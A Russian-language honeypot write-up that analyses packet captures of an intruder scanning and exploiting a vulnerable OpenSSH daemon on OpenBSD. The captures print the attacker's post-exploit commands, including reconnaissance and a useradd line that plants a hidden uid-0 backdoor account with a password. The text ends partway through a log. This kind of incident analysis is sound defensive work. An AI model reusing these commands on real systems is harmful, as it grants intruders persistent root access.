Honeypot в действии

Honeypot в действии

Цель этой статьи – поделиться с Интернет сообществом данными, собранными с моего honeypot (дословно – горшок меда, по сути – компьютер, являющийся приманкой для атак). Существует множество статей, объясняющих, как установить honeypot и риск, связанный с их использованием. Хотя эта статья поверхностно затронет эти темы, написана она для людей, которые хотят понять, что же за данные предоставляет им honeypot. Она включает в себя разведку хакера, попытку маскировки и повод для атаки honeypot.

Михаил Разумов, по материалам SecurityFocus

Цель этой статьи – поделиться с Интернет сообществом данными, собранными с моего honeypot (дословно – горшок меда, по сути – компьютер, являющийся приманкой для атак). Существует множество статей, объясняющих, как установить honeypot и риск, связанный с их использованием. Хотя эта статья поверхностно затронет эти темы, написана она для людей, которые хотят понять, что же за данные предоставляет им honeypot. Она включает в себя разведку хакера, попытку маскировки и повод для атаки honeypot.

Установка Honeypot

Honeypot, который я использовал во время атаки, был машиной OpenBSD 3.1 (10.10.10.40). Также у меня было две машины перед honeypot. Первой был маршрутизатор Linksys. Я сконфигурировал его так, чтобы логически поместить весь трафик перед моей DMZ (192.168.1.50). После этого я запустил на Linux системе скрипт IPtables, разработанный проектом Honeynet. В виду важности логов, я сконфигурировал honeypot так, чтобы логи хранились на моем удаленном лог-сервере. Мой удаленный лог-сервер также использовался как система обнаружения вторжения (IDS – intrusion detection system). Чтобы гарантировать, что мой лог-сервер не будет взломан через какие-нибудь дыры в syslog, я отключил все порты на IDS/syslog сервере и запустил следующие команды:

  • iptables -P INPUT DROP
  • iptables -P FORWARD DROP
  • iptables -P OUTPUT DROP

Чтобы гарантировать получение всех сообщений syslog, я также запустил на IDS TCPDUMP.

Когда я решил запустить honeypot, мне было интересно, как долго могут продержаться разные операционные системы. Я решил запустить honeypot с OpenBSD 3.1. Почему? Просто потому, что мне нравится OpenBSD. Кроме того, я хотел узнать, как долго OpenBSD система с уязвимым демоном OpenSSH сможет продержаться. К моему удивлению, она простояла около шести недель.

Полученные данные

В течение шести недель, пока я наблюдал за моим honeypot, я видел множество сканирований и попыток взломать систему, но большинство из них либо провалились, либо хакер по какой-то причине прекращал свои попытки. Первые данные, которые дали мне поверить, что мой honeypot был атакован, были трехкратным handshake, исходящим от машины с IP адресом xxx.xxx.xxx.xxx. Давайте взглянем на него:

Лог 1: Начало подсоединения к SSH
02:49:52.853164 xxx.xxx.xxx.xxx.3138 > 10.10.10.40.ssh: S [tcp sum ok]
1708551021:1708551021(0) win 32120 <mss 1460,sackOK,timestamp 54447281
0,nop,wscale 0> (DF) (ttl 45, id 2858, len 60)
0x0000	 4500 003c 0b2a 4000 2d06 cb4e xxxx xxxx	E..<.*@.-..N...=
0x0010	 0a0a 0a28 0c42 0016 65d6 6b6d 0000 0000	...(.B..e.km....
0x0020	 a002 7d78 a5bf 0000 0204 05b4 0402 080a	..}x............
0x0030	 033e ccb1 0000 0000 0103 0300          	.>..........
02:49:52.853164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.3138: S [tcp sum ok]
3211679389:3211679389(0) ack 1708551022 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 655960534 54447281>
(DF) (ttl 64, id 57381, len 64)
0x0000	 4500 0040 e025 4000 4006 e34e 0a0a 0a28	E..@.%@.@..N...(
0x0010	 xxxx xxxx 0016 0c42 bf6e 569d 65d6 6b6e	...=...B.nV.e.kn
0x0020	 b012 43e0 6645 0000 0204 05b4 0101 0402	..C.fE..........
0x0030	 0103 0300 0101 080a 2719 29d6 033e ccb1\	........'.)..>..
02:49:53.093164 xxx.xxx.xxx.xxx.3138 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 54447323 655960534>(DF) (ttl
45, id 4007, len 52)
0x0000	 4500 0034 0fa7 4000 2d06 c6d9 xxxx xxxx	E..4..@.-......=
0x0010	 0a0a 0a28 0c42 0016 65d6 6b6e bf6e 569e	...(.B..e.kn.nV.
0x0020	 8010 7d78 6d4e 0000 0101 080a 033e ccdb	..}xmN.......>..
0x0030	 2719 29d6                              	'.).

Когда я смотрю на какой-либо пакет, первое, что я пытаюсь сделать – это определить, какая операционная система является источником пакета. Почему? Это помогает мне понять, что я могу противопоставить в ответ. Сейчас я работаю над проектом, который определяет уровень опыта хакеров. Один из пунктов, который учитывается в проекте, это операционная система хакера. (Конечно, операционная система не всегда может помочь в определении уровня хакера, но не будем спорить об этом.)

Взглянув на Лог 1, мы можем получить некоторые важные сведения о хакере. Первое, что мы увидим, что он использовал Linux машину. Как я пришел к этому заключению? Давайте начнем с просмотра некоторых ключевых полей в TCP/IP заголовке. В первую очередь нужно взглянуть на поле общей длины (len); в начальном SYN пакете мы видим, что длина составляет 60 байт. Это характерно для ядра Linux, но нам необходимо больше доказательств, чтобы убедиться, что это действительно Linux машина. Мы можем сделать это, глядя на другие поля в заголовке TCP/IP. Рассмотрим поле(я) Options. Мы видим, что в начальном SYN хакер установил максимальный размер сегмента (MSS), sackOK, wscale, timestamp и nop. Эта особенность также характерна для Linux машин. (Если вы хотите больше узнать о косвенных признаках (passive fingerprinting) операционных систем, прочитайте статью Passive OS Fingerprinting, или Know Your Enemy: Passive Fingerprinting.)

Из начального handshake мы определили, что наш хакер, вероятно, использует ОС Linux. Теперь можно двинуться дальше и проанализировать следующий набор пакетов:

Лог 2: ScanSSH
 02:49:56.493164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: P [tcp sum ok]
1:29(28) ack 22 win 32120 <nop,nop,timestamp 54447663 655960541> (DF) 
(ttl 45, id 6952, len 80)
0x0000	 4500 0050 1b28 4000 2d06 bb3c xxxx xxxx	E..P.(@.-..<...=
0x0010	 0a0a 0a28 0481 0016 6618 d792 d4ec 634d	...(....f.....cM
0x0020	 8018 7d78 7e82 0000 0101 080a 033e ce2f	..}x~........>./
0x0030	 2719 29dd 5353 482d 312e 302d 5353 485f	'.).SSH-1.0-SSH_
0x0040	 5665 7273 696f 6e5f 4d61 7070 6572 0a00	Version_Mapper..

Лог 2 является PUSH пакетом, посылающим 28 байт полезных данных (payload) на мой honeypot. Глядя на эти данные, мы можем увидеть, что хакер использует некоторый сканер для сканирования SSH. Идентификация сканера не была сложной, просто введите "SSH-1.0-SSH_Version_Mapper" в Google и вы получите ссылку на сканер, называющийся ScanSSH. Использование сканера, похоже, возросло после опубликования уязвимостей в OpenSSH.

Лог 3: Разрыв соединения

 02:49:56.493164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: F [tcp sum ok]
29:29(0) ack 22 win 32120 <nop,nop,timestamp 54447663 655960541> (DF)
(ttl 45, id 6953, len 52)
0x0000	 4500 0034 1b29 4000 2d06 bb57 d5d4 8d3d	E..4.)@.-..W...=
0x0010	 xxxx xxxx 0481 0016 6618 d7ae d4ec 634d	...(....f.....cM
0x0020	 8011 7d78 e503 0000 0101 080a 033e ce2f	..}x.........>./
0x0030	 2719 29dd                              	'.).
02:49:56.493164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1153: . [tcp sum ok]
22:22(0) ack 30 win 17375 <nop,nop,timestamp 655960541 54447663> (DF)
(ttl 64, id 62665, len 52)
0x0000	 4500 0034 f4c9 4000 4006 ceb6 0a0a 0a28	E..4..@.@......(
0x0010	 xxxx xxxx 0016 0481 d4ec 634d 6618 d7af	...=......cMf...
0x0020	 8010 43df 1e9d 0000 0101 080a 2719 29dd	..C.........'.).
0x0030	 033e ce2f                              	.>./
02:49:56.503164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1153: F [tcp sum ok]
22:22(0) ack 30 win 17375 <nop,nop,timestamp 655960541 54447663> (DF)
(ttl 64, id 35676, len 52)
0x0000	 4500 0034 8b5c 4000 4006 3824 0a0a 0a28	E..4.\@.@.8$...(
0x0010	 xxxx xxxx 0016 0481 d4ec 634d 6618 d7af	...=......cMf...
0x0020	 8011 43df 1e9c 0000 0101 080a 2719 29dd	..C.........'.).
0x0030	 033e ce2f                              	.>./

Лог 3 показывает, что хакер получил версию SSH и теперь прерывает соединение. Это поведение не являлось чем-то выдающимся; однако, вскоре я заметил, что этот хакер сделал другое соединение с моим honeypot. Лог 4 показывает трехкратное handshake:

Лог 4: Повторное соединение

02:49:56.503164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: S [tcp sum ok]
1719373202:1719373202(0) win 32120 <mss 1460,sackOK,timestamp 54447664
0,nop,wscale 0> (DF) (ttl 45, id 6954, len 60)
0x0000	 4500 003c 1b2a 4000 2d06 bb4e xxxx xxxx	E..<.*@.-..N...=
0x0010	 0a0a 0a28 0482 0016 667b 8d92 0000 0000	...(....f{......
0x0020	 a002 7d78 8936 0000 0204 05b4 0402 080a	..}x.6..........
0x0030	 033e ce30 0000 0000 0103 0300          	.>.0........
02:49:56.503164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: S [tcp sum ok]
3116179007:3116179007(0) ack 1719373203 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 655960541 54447664> (DF) 
(ttl 64, id 37534, len 64)
0x0000	 4500 0040 929e 4000 4006 30d6 0a0a 0a28	E..@..@.@.0....(
0x0010	 xxxx xxxx 0016 0482 b9bd 1e3f 667b 8d93	...=.......?f{..
0x0020	 b012 43e0 87c4 0000 0204 05b4 0101 0402	..C.............
0x0030	 0103 0300 0101 080a 2719 29dd 033e ce30	........'.)..>.0
02:49:56.703164 xxx.xxx.xxx.xxx.1153 > 10.10.10.40.ssh: . [tcp sum ok]
30:30(0) ack 23 win 32120 <nop,nop,timestamp 54447684 655960541>(DF) 
(ttl 45, id 6957, len 52)
0x0000	 4500 0034 1b2d 4000 2d06 bb53 xxxx xxxx	E..4.-@.-..S...=
0x0010	 0a0a 0a28 0481 0016 6618 d7af d4ec 634e	...(....f.....cN
0x0020	 8010 7d78 e4ed 0000 0101 080a 033e ce44	..}x.........>.D
0x0030	 2719 29dd                              	'.).

Лог 4 показывает нам повторное соединение, сделанное хакером с моим honeypot. Хотя к этому времени я имел уже множество IP адресов, которые сканировали меня несколько раз, а потом возвращались, чтобы уничтожить следы, этот хакер собирался сделать другое. На логе 5 мы видим, что наш хакер собирается попробовать взломать SSH демон на моем honeypot:

Лог 5: Атака

  02:49:59.933164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: P [tcp sum ok]
1:17(16) ack 22 win 32120 <nop,nop,timestamp 54448006 655960542> (DF)
(ttl 45, id 10698, len 68)
0x0000	 4500 0044 29ca 4000 2d06 aca6 xxxx xxxx	E..D).@.-......=
0x0010	 0a0a 0a28 0482 0016 667b 8d93 b9bd 1e55	...(....f{.....U
0x0020	 8018 7d78 66b6 0000 0101 080a 033e cf86	..}xf........>..
0x0030	 2719 29de 5353 482d 322e 302d 474f 4242	'.).SSH-2.0-GOBB
0x0040	 4c45 530a                              	LES.
02:49:59.933164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: . [tcp sum ok]
22:22(0) ack 17 win 17361 <nop,nop,timestamp 655960548 54448006> (DF)
(ttl 64, id 43449, len 52)
0x0000	 4500 0034 a9b9 4000 4006 19c7 0a0a 0a28	E..4..@.@......(
0x0010	 xxxx xxxx 0016 0482 b9bd 1e55 667b 8da3	...=.......Uf{..
0x0020	 8010 43d1 c71c 0000 0101 080a 2719 29e4	..C.........'.).
0x0030	 033e cf86                              	.>..
02:49:59.953164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
22:662(640) ack 17 win 17376 <nop,nop,timestamp 655960548 54448006> (DF)
(ttl 64, id 40938, len 692)
0x0000	 4500 02b4 9fea 4000 4006 2116 0a0a 0a28	E.....@.@.!....(
0x0010	 xxxx xxxx 0016 0482 b9bd 1e55 667b 8da3	...=.......Uf{..
0x0020	 8018 43e0 556f 0000 0101 080a 2719 29e4	..C.Uo......'.).
0x0030	 033e cf86 0000 027c 0914 e530 663c 2dd7	.>.....|...0f<-.
0x0040	 34f1 90bb 051f 8fe5 cf51 0000 003d 6469	4........Q...=di
0x0050	 6666 6965 2d68 656c 6c6d 616e 2d67 726f	ffie-hellman-gro
0x0060	 7570 2d65 7863 6861 6e67 652d 7368 6131	up-exchange-sha1
0x0070	 2c64 6966 6669 652d 6865 6c6c 6d61 6e2d	,diffie-hellman-
0x0080	 6772 6f75 7031 2d73 6861 3100 0000 0f73	group1-sha1....s
0x0090	 7368 2d72 7361 2c73 7368 2d64 7373 0000	sh-rsa,ssh-dss..
0x00a0	 0096 6165 7331 3238 2d63 6263 2c33 6465	..aes128-cbc,3de
0x00b0	 732d 6362 632c 626c 6f77 6669 7368 2d63	s-cbc,blowfish-c
0x00c0	 6263 2c63 6173 7431 3238 2d63 6263 2c61	bc,cast128-cbc,a
0x00d0	 7263 666f 7572 2c61 6573 3139 322d 6362	rcfour,aes192-cb
0x00e0	 632c 6165 7332 3536 2d63 6263 2c72 696a	c,aes256-cbc,rij
0x00f0	 6e64 6165 6c31 3238 2d63 6263 2c72 696a	ndael128-cbc,rij
0x0100	 6e64 6165 6c31 3932 2d63 6263 2c72 696a	ndael192-cbc,rij
0x0110	 6e64 6165 6c32 3536 2d63 6263 2c72 696a	ndael256-cbc,rij
0x0120	 6e64 6165 6c2d 6362 6340 6c79 7361 746f	ndael-cbc@lysato
0x0130	 722e 6c69 752e 7365 0000 0096 6165 7331	r.liu.se....aes1
0x0140	 3238 2d63 6263 2c33 6465 732d 6362 632c	28-cbc,3des-cbc,
0x0150	 626c 6f77 6669 7368 2d63 6263 2c63 6173	blowfish-cbc,cas
0x0160	 7431 3238 2d63 6263 2c61 7263 666f 7572	t128-cbc,arcfour
0x0170	 2c61 6573 3139 322d 6362 632c 6165 7332	,aes192-cbc,aes2
0x0180	 3536 2d63 6263 2c72 696a 6e64 6165 6c31	56-cbc,rijndael1
0x0190	 3238 2d63 6263 2c72 696a 6e64 6165 6c31	28-cbc,rijndael1
0x01a0	 3932 2d63 6263 2c72 696a 6e64 6165 6c32	92-cbc,rijndael2
0x01b0	 3536 2d63 6263 2c72 696a 6e64 6165 6c2d	56-cbc,rijndael-
0x01c0	 6362 6340 6c79 7361 746f 722e 6c69 752e	cbc@lysator.liu.
0x01d0	 7365 0000 0055 686d 6163 2d6d 6435 2c68	se...Uhmac-md5,h
0x01e0	 6d61 632d 7368 6131 2c68 6d61 632d 7269	mac-sha1,hmac-ri
0x01f0	 7065 6d64 3136 302c 686d 6163 2d72 6970	pemd160,hmac-rip
0x0200	 656d 6431 3630 406f 7065 6e73 7368 2e63	emd160@openssh.c
0x0210	 6f6d 2c68 6d61 632d 7368 6131 2d39 362c	om,hmac-sha1-96,
0x0220	 686d 6163 2d6d 6435 2d39 3600 0000 5568	hmac-md5-96...Uh
0x0230	 6d61 632d 6d64 352c 686d 6163 2d73 6861	mac-md5,hmac-sha
0x0240	 312c 686d 6163 2d72 6970 656d 6431 3630	1,hmac-ripemd160
0x0250	 2c68 6d61 632d 7269 7065 6d64 3136 3040	,hmac-ripemd160@
0x0260	 6f70 656e 7373 682e 636f 6d2c 686d 6163	openssh.com,hmac
0x0270	 2d73 6861 312d 3936 2c68 6d61 632d 6d64	-sha1-96,hmac-md
0x0280	 352d 3936 0000 0009 6e6f 6e65 2c7a 6c69	5-96....none,zli
0x0290	 6200 0000 096e 6f6e 652c 7a6c 6962 0000	b....none,zlib..
0x02a0	 0000 0000 0000 0000 0000 0000 0000 0000	................
0x02b0	 0000 0000                              	....
  

В honeypot вы никогда не знаете, какой сервис окажется взломан. Когда мой демон SSHD был взломан, это не было неожиданностью, поскольку его уязвимости были опубликованы двумя месяцами раньше. Что меня удивило, так это то, что ушло шесть недель на то, чтобы кто-нибудь взломал его.

Давайте взглянем на Лог 5 проанализируем эти пакеты. Давайте начнем с первого PUSH пакета. Длина пакета 68 байт. Он также говорит нам о том, что хакер запустил на мой honeypot эксплоит SSH-2.0 GOBBLES. Понимание эксплоита является важным для нашего анализа. Теперь мы отправимся на packetstorm.linuxsecurity.com и взглянем на эксплоит, чтобы понять, как он работает.

До сих пор мы смотрели только на TCP трафик, теперь давайте приступим к просмотру syslog трафика, идущего с honeypot. Первый пакет с моего сервера syslog показан на следующем логе:

02:50:56.203164 10.10.10.40.syslog > 10.10.10.70.syslog: [udp sum ok]

 02:50:56.203164 10.10.10.40.syslog > 10.10.10.70.syslog:  [udp sum ok]
udp 85 (ttl 64, id 10463, len 113)
0x0000	 4500 0071 28df 0000 4011 291c 0a0a 0a28	E..q(...@.)....(
0x0010	 0a0a 0a46 0202 0202 005d ae8b 3c33 343e	...F.....]..<34>
0x0020	 4175 6720 3139 2030 333a 3137 3a30 3720	Aug.19.03:17:07.
0x0030	 7373 6864 5b32 3432 3636 5d3a 2066 6174	sshd[24266]:.fat
0x0040	 616c 3a20 5265 6365 6976 6564 2070 6163	al:.Received.pac
0x0050	 6b65 7420 7769 7468 2062 6164 2073 7472	ket.with.bad.str
0x0060	 696e 6720 6c65 6e67 7468 2032 3633 3136	ing.length.26316
0x0070	 38                                     	8

На следующем логе мы уже можем увидеть, как хакер завладел правами root:

Лог 7: Хакер решает уйти

 0x0000	 4500 0040 3592 4000 2d06 a0e2 xxxx xxxx	E..@5.@.-......=
0x0010	 0a0a 0a28 0482 0016 667b def4 b9bd 2641	...(....f{....&A
0x0020	 8018 7d78 2a35 0000 0101 080a 033e d09f	..}x*5.......>..
0x0030	 2719 29e9 756e 616d 6520 2d61 3b69 640a	'.).uname.-a;id.
02:50:02.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
2059:2099(40) ack 20846 win 17376 <nop,nop,timestamp 655960553 
54448289> (DF) (ttl 64, id 25839, len 92)
0x0000	 4500 005c 64ef 4000 4006 5e69 0a0a 0a28	E..\d.@.@.^i...(
0x0010	 xxxx xxxx 0016 0482 b9bd 264a 667b df00	...=......&Jf{..
0x0020	 8018 43e0 8efa 0000 0101 080a 2719 29e9	..C.........'.).
0x0030	 033e d0a1 4f70 656e 4253 4420 616c 6c69	.>..OpenBSD.alli
0x0040	 6761 746f 7232 3520 332e 3020 4745 4e45	gator25.3.0.GENE
0x0050	 5249 4323 3934 2069 3338 360a          	RIC#94.i386.
02:50:02.953164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1154: P [tcp sum ok]
2099:2140(41) ack 20846 win 17376 <nop,nop,timestamp 655960554 
54448309> (DF) (ttl 64, id 12215, len 93)
0x0000	 4500 005d 2fb7 4000 4006 93a0 0a0a 0a28	E..]/.@.@......(
0x0010	 xxxx xxxx 0016 0482 b9bd 2672 667b df00	...=......&rf{..
0x0020	 8018 43e0 13f0 0000 0101 080a 2719 29ea	..C.........'.).
0x0030	 033e d0b5 7569 643d 3028 726f 6f74 2920	.>..uid=0(root).
0x0040	 6769 643d 3028 7768 6565 6c29 2067 726f	gid=0(wheel).gro
0x0050	 7570 733d 3028 7768 6565 6c29 0a       	ups=0(wheel).
02:50:30.333164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: P [tcp sum ok]
20846:20861(15) ack 2140 win 32120 <nop,nop,timestamp 54451047 
655960554> (DF) (ttl 45, id 40767, len 67)
0x0000	 4500 0043 9f3f 4000 2d06 3732 xxxx xxxx	E..C.?@.-.72...=
0x0010	 0a0a 0a28 0482 0016 667b df00 b9bd 269b	...(....f{....&.
0x0020	 8018 7d78 8f3a 0000 0101 080a 033e db67	..}x.:.......>.g
0x0030	 2719 29ea 6361 7420 2f65 7463 2f68 6f73	'.).cat./etc/hos
0x0040	 7473 0a                                	ts.
02:50:34.293164 xxx.xxx.xxx.xxx.1154 > 10.10.10.40.ssh: F [tcp sum ok]
20861:20861(0) ack 2197 win 32120 <nop,nop,timestamp 54451443 
655960609> (DF) (ttl 45, id 43410, len 52)
0x0000	 4500 0034 a992 4000 2d06 2cee xxxx xxxx	E..4..@.-.,....=
0x0010	 0a0a 0a28 0482 0016 667b df0f b9bd 26d4	...(....f{....&.
0x0020	 8011 7d78 25df 0000 0101 080a 033e dcf3	..}x%........>..
0x0030	 2719 2a21                              	'.*!
 

Чтобы прояснить возможные недоразумения, скажу, что Лог 7 не является полным. В целях сохранения места, я решил вставить только важные пакеты.

Давайте посмотрим на эти пакеты и попробуем понять, что они делают. Первый пакет на логе 7 показывает нам, что хакер запускает uname –a (выделено жирным в данных). Что делает uname –a? Эта команда дает хакеру много информации об атакуемом компьютере, такой как имя компьютера, версия ядра, процессор, операционная система, аппаратная платформа. Вся эта информация представляет большую ценность при атаке компьютеров. Во втором пакете мы видим, что honeynet послал хакеру всю эту информацию.

И, наконец, в третьем пакете мы видим, что honeynet дал хакеру права root. Откуда мы это знаем? На всех Unix системах, на которых я работал, нулевой UID или GID относятся к root. Мы можем увидеть это в данных пакета. После того, как он получает права доступа, наш хакер проверяет файл /etc/hosts и не находит в нем ничего ценного.

Возвращение

После того, как хакер ушел на логе 7, я решил подождать, не вернется ли он новь. Лог 8 показывает, что он решил вернуться.

Лог 8: Подсоединение

02:33:56.403164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: S [tcp sum 
ok]
1778029464:1778029464(0) win 32120 <mss 1460,sackOK,timestamp 90544
0,nop,wscale 0> (DF) (ttl 45, id 21880, len 60)
0x0000	 4500 003c 5578 4000 2d06 8100 xxxx xxxx	E..<Ux@.-......=
0x0010	 0a0a 0a28 129e 0016 69fa 9398 0000 0000	...(....i.......
0x0020	 a002 7d78 e152 0000 0204 05b4 0402 080a	..}x.R..........
0x0030	 0001 61b0 0000 0000 0103 0300          	..a.........
02:33:56.403164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: S [tcp sum ok]
3530059345:3530059345(0) ack 1778029465 win 17376 <mss 
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 656131433 90544>
(DF) (ttl 64, id 3213, len 64)
0x0000	 4500 0040 0c8d 4000 4006 b6e7 0a0a 0a28	E..@..@.@......(
0x0010	 xxxx xxxx 0016 129e d268 6e51 69fa 9399	...=.....hnQi...
0x0020	 b012 43e0 db94 0000 0204 05b4 0101 0402	..C.............
0x0030	 0103 0300 0101 080a 271b c569 0001 61b0	........'..i..a.
02:33:56.633164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 90567 656131433> (DF) (ttl 
45, id 21883, len 52)
0x0000	 4500 0034 557b 4000 2d06 8105 xxxx xxxx	E..4U{@.-......=
0x0010	 0a0a 0a28 129e 0016 69fa 9399 d268 6e52	...(....i....hnR
0x0020	 8010 7d78 e2b0 0000 0101 080a 0001 61c7	..}x..........a.
0x0030	 271b c569                              	'..i
02:33:56.633164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: P [tcp sum ok]
1:22(21) ack 1 win 17376 <nop,nop,timestamp 656131434 90567>(DF) (ttl 
64, id 3128, len 73)
0x0000	 4500 0049 0c38 4000 4006 b733 0a0a 0a28	E..I.8@.@..3...(
0x0010	 xxxx xxxx 0016 129e d268 6e52 69fa 9399	...=.....hnRi...
0x0020	 8018 43e0 1f8f 0000 0101 080a 271b c56a	..C.........'..j
0x0030	 0001 61c7 5353 482d 312e 3939 2d4f 7065	..a.SSH-1.99-Ope
0x0040	 6e53 5348 5f33 2e30 0a                 	nSSH_3.0.
02:33:56.813164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 22 win 32120 <nop,nop,timestamp 90586 656131434> (DF) (ttl 
45, id 21884, len 52)
0x0000	 4500 0034 557c 4000 2d06 8104 xxxx xxxx	E..4U|@.-......=
0x0010	 0a0a 0a28 129e 0016 69fa 9399 d268 6e67	...(....i....hng
0x0020	 8010 7d78 e287 0000 0101 080a 0001 61da	..}x..........a.
0x0030	 271b c56a                              	'..j
02:33:56.813164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: P [tcp sum ok]
1:17(16) ack 22 win 32120 <nop,nop,timestamp 90586 656131434>
(DF) (ttl
45, id 21885, len 68)
0x0000	 4500 0044 557d 4000 2d06 80f3 xxxx xxxx	E..DU}@.-......=
0x0010	 0a0a 0a28 129e 0016 69fa 9399 d268 6e67	...(....i....hng
0x0020	 8018 7d78 bbb2 0000 0101 080a 0001 61da	..}x..........a.
0x0030	 271b c56a 5353 482d 322e 302d 474f 4242	'..jSSH-2.0-GOBB
0x0040	 4c45 530a                              	LES.

Лог 8 говорит нам, что наш взломщик бывал на моем honeypot ранее. Каким образом? Во-первых, он не сканировал sshd. Хакер знал, какой сервис ему нужен. В ранних попытках хакер сканированием определил версию демона OpenSSH. Во-вторых, взломщик использовал тот же эксплоит в этот раз, как и предыдущей ночью. Иными словами, хакер знал, чего он хочет и как это получить.

Маскировка

Лог 9 показывает нам, как хакер заметал свои следы после взлома моего honeypot:

Лог 9: Маскировка
uname -a;id
OpenBSD alligator25 3.0 GENERIC#94 i386
uid=0(root) gid=0(wheel) groups=0(wheel)
useradd -b /home/local -mov -g 0 -b /home -d /home/local -g 0 -u 0 -o 
local
/home/local/.
/home/local/./.cshrc
/home/local/./.login
/home/local/./.mailrc
/home/local/./.profile
/home/local/./.rhosts
Command: /bin/mkdir -p /home/local
Command: cd /etc/skel; /bin/pax -rw -pe -v . /home/local
Command: /sbin/chown -R -P 0:0 /home/local
Command: /bin/chmod -R u+w /home/local
passwd local
New password:xeocage123

Retype new password:xeocage123

Changing local password for local.

На логе 9 мы видим, как взломщик заметает свои следы после взлома honeypot. Давайте посмотрим, что он сделал после взлома:

  1. Cоздал локальный эккаунт с именем local;
  2. Создал home директорию с именем /home/local;
  3. Установил пароль "local" в xeocage123.

Пароль, который хакер использовал для создания своего эккаунта "local", говорит нам многое о нем, как мы увидим дальше в этой статье.

После того, как хакер создал свой эккаунт и свою директорию, он решил опять уйти, и стал подрывать свое соединение FIN пакетом. Здесь вы можете наблюдать TCP в действии, как используется четырехкратное handshake для разрыва соединения.

Лог 10: Разрыв соединения
02:34:15.763164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: F [tcp sum ok]
20957:20957(0) ack 2507 win 32120 <nop,nop,timestamp 92479 656131468>
(DF) (ttl 45, id 26948, len 52)
0x0000	 4500 0034 6944 4000 2d06 6d3c xxxx xxxx	E..4iD@.-.m<...=
0x0010	 0a0a 0a28 129e 0016 69fa e575 d268 781c	...(....i..u.hx.
0x0020	 8011 7d78 7f6e 0000 0101 080a 0001 693f	..}x.n........i?
0x0030	 271b c58c                              	'...
02:34:15.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: . [tcp sum ok]
2507:2507(0) ack 20958 win 17376 <nop,nop,timestamp 656131472 92479>
(DF) (ttl 64, id 18844, len 52)
0x0000	 4500 0034 499c 4000 4006 79e4 0a0a 0a28	E..4I.@.@.y....(
0x0010	 xxxx xxxx 0016 129e d268 781c 69fa e576	...=.....hx.i..v
0x0020	 8010 43e0 b902 0000 0101 080a 271b c590	..C.........'...
0x0030	 0001 693f                              	..i?
02:34:15.763164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.4766: F [tcp sum ok]
2507:2507(0) ack 20958 win 17376 <nop,nop,timestamp 656131472 92479> 
(DF) (ttl 64, id 32145, len 52)
0x0000	 4500 0034 7d91 4000 4006 45ef 0a0a 0a28 E..4}.@.@.E....(
0x0010	 xxxx xxxx 0016 129e d268 781c 69fa e576	...=.....hx.i..v
0x0020	 8011 43e0 b901 0000 0101 080a 271b c590	..C.........'...
0x0030	 0001 693f                              	..i?
02:34:15.943164 xxx.xxx.xxx.xxx.4766 > 10.10.10.40.ssh: . [tcp sum ok]
20958:20958(0) ack 2508 win 32120 <nop,nop,timestamp 92499 656131472> 
(DF) (ttl 45, id 26951, len 52)
0x0000	 4500 0034 6947 4000 2d06 6d39 xxxx xxxx	E..4iG@.-.m9...=
0x0010	 0a0a 0a28 129e 0016 69fa e576 d268 781d	...(....i..v.hx.
0x0020	 8010 7d78 7f55 0000 0101 080a 0001 6953	..}x.U........iS
0x0030	 271b c590                              

Хакер возвращается вновь

И вновь, хакер отсутствовал почти 24 часа, и затем вернулся к моему honeypot. Давайте посмотрим на соединение:

Лог 11: Хакер возвращается опять

19:41:09.363164 xxx.xxx.xxx.xxx.1015 > 10.10.10.40.ssh: S [tcp sum ok]
2429323267:2429323267(0) win 32120 <mss 1460,sackOK,timestamp 6254172
0,nop,wscale 0> (DF) (ttl 45, id 3444, len 60)
0x0000	 4500 003c 0d74 4000 2d06 c904 xxxx xxxx	E..<.t@.-......=
0x0010	 0a0a 0a28 03f7 0016 90cc 8803 0000 0000	...(............
0x0020	 a002 7d78 c7b2 0000 0204 05b4 0402 080a	..}x............
0x0030	 005f 6e5c 0000 0000 0103 0300          	._n\........
19:41:09.363164 10.10.10.40.ssh > xxx.xxx.xxx.xxx.1015: S [tcp sum ok]
3538232183:3538232183(0) ack 2429323268 win 17376 <mss
1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 656254708 6254172>
(DF) (ttl 64, id 31536, len 64)
0x0000	 4500 0040 7b30 4000 4006 4844 0a0a 0a28	E..@{0@.@.HD...(
0x0010	 xxxx xxxx 0016 03f7 d2e5 2377 90cc 8804	...=......#w....
0x0020	 b012 43e0 2ac5 0000 0204 05b4 0101 0402	..C.*...........
0x0030	 0103 0300 0101 080a 271d a6f4 005f 6e5c	........'...._n
19:41:09.553164 xxx.xxx.xxx.xxx.1015 > 10.10.10.40.ssh: . [tcp sum ok]
1:1(0) ack 1 win 32120 <nop,nop,timestamp 6254192 656254708> (DF) (ttl 
45, id 3447, len 52)
0x0000	 4500 0034 0d77 4000 2d06 c909 xxxx xxxx	E..4.w@.-......=
